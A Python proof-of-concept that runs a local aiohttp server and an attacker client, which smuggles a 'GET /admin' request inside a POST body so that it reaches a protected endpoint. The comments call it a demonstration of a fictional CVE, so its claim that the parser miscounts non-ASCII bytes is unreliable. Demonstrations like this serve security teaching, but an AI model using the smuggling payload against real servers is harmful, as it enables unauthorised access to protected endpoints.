Vulnerable code sample

import os
import asyncio
from aiohttp import web

# As per the CVE description, this is necessary to force the use of the
# pure Python implementation of the HTTP parser, which is where the
# hypothetical vulnerability lies. In a real-world scenario, this
# would be set if the C extensions for aiohttp were not installed.
os.environ['AIOHTTP_NO_EXTENSIONS'] = '1'

# This code serves as a conceptual demonstration for the fictional CVE-2025-69224.
# It simulates how a request smuggling vulnerability could arise from a parser
# that incorrectly handles request boundaries in the presence of non-ASCII characters.

# --- "Vulnerable" aiohttp Server ---

async def handle_home(request):
    """
    This is the intended public endpoint. The smuggled request will bypass this.
    """
    print("[SERVER] Received request to /home")
    try:
        body = await request.text()
        print(f"[SERVER] Body received at /home: {body!r}")
    except Exception as e:
        print(f"[SERVER] Error reading body at /home: {e}")
    return web.Response(text="This is the public home page.")

async def handle_admin(request):
    """
    This is the protected endpoint that the attacker aims to access.
    """
    print("\n" + "="*50)
    print("[SERVER] VULNERABILITY EXPLOITED: Smuggled request reached /admin!")
    print("="*50 + "\n")
    return web.Response(text="Admin Panel Access GRANTED", status=200)

async def start_vulnerable_server(host='127.0.0.1', port=8080):
    """
    Sets up and starts the aiohttp server that will process the requests.
    """
    app = web.Application()
    app.router.add_post('/home', handle_home)
    app.router.add_get('/admin', handle_admin)
    
    runner = web.AppRunner(app)
    await runner.setup()
    site = web.TCPSite(runner, host, port)
    await site.start()
    print(f"[+] 'Vulnerable' aiohttp server running on http://{host}:{port}")
    print("[+] Using pure Python HTTP parser as required by the CVE.")
    return runner

# --- Attacker Client ---

async def perform_attack(host='127.0.0.1', port=8080):
    """
    Constructs and sends a malicious payload to demonstrate request smuggling.
    """
    await asyncio.sleep(1)  # Wait for the server to be ready
    print("\n[*] Attacker preparing malicious payload...")

    # The request we want to smuggle to the backend.
    smuggled_request = (
        b"GET /admin HTTP/1.1\r\n"
        b"Host: vulnerable-backend\r\n"
        b"Connection: close\r\n"
        b"\r\n"
    )

    # The body of the carrier request. It includes a non-ASCII character 'é'.
    # The hypothetical vulnerability is that the Python parser miscalculates the
    # length of the body due to this character, causing a desynchronization.
    # A front-end proxy would see one request, but the back-end aiohttp server
    # would see two.
    body_with_non_ascii = b"data=abc" + "é".encode('utf-8') + b"&fluff="

    # The full body sent to the server includes the smuggled request.
    # The Content-Length header is set to the length of the *entire* payload body.
    # A standards-compliant proxy would read exactly this many bytes and forward them.
    full_body = body_with_non_ascii + smuggled_request
    
    # The carrier request. From a proxy's perspective, this is a single, valid POST request.
    malicious_payload = (
        b"POST /home HTTP/1.1\r\n"
        b"Host: " + f"{host}:{port}".encode('ascii') + b"\r\n"
        b"Content-Type: application/x-www-form-urlencoded\r\n"
        f"Content-Length: {len(full_body)}\r\n"
        b"Connection: keep-alive\r\n"
        b"\r\n"
    ) + full_body

    print(f"[*] Attacker connecting to {host}:{port}...")
    reader, writer = await asyncio.open_connection(host, port)

    print(f"[*] Sending crafted payload of {len(malicious_payload)} bytes.")
    writer.write(malicious_payload)
    await writer.drain()

    # We now read the responses. If the attack is successful, the server will
    # have processed two requests and will send back two responses.
    print("[*] Waiting for responses from the server...")
    
    try:
        response1 = await asyncio.wait_for(reader.read(4096), timeout=2.0)
        print("\n--- Attacker: Received Response 1 ---")
        print(response1.decode(errors='ignore'))
        
        response2 = await asyncio.wait_for(reader.read(4096), timeout=2.0)
        print("\n--- Attacker: Received Response 2 ---")
        print(response2.decode(errors='ignore'))
        
        if b"Admin Panel Access GRANTED" in response2:
            print("[SUCCESS] The smuggled request was processed by the server!")
        else:
            print("[FAILURE] Second response received, but it was not from /admin.")

    except asyncio.TimeoutError:
        print("[FAILURE] Did not receive two responses. The attack was likely unsuccessful.")
    finally:
        writer.close()
        await writer.wait_closed()


async def main():
    server_runner = await start_vulnerable_server()
    try:
        await perform_attack()
    finally:
        print("\n[*] Shutting down server...")
        await server_runner.cleanup()

if __name__ == "__main__":
    try:
        asyncio.run(main())
    except KeyboardInterrupt:
        print("\n[+] Exiting.")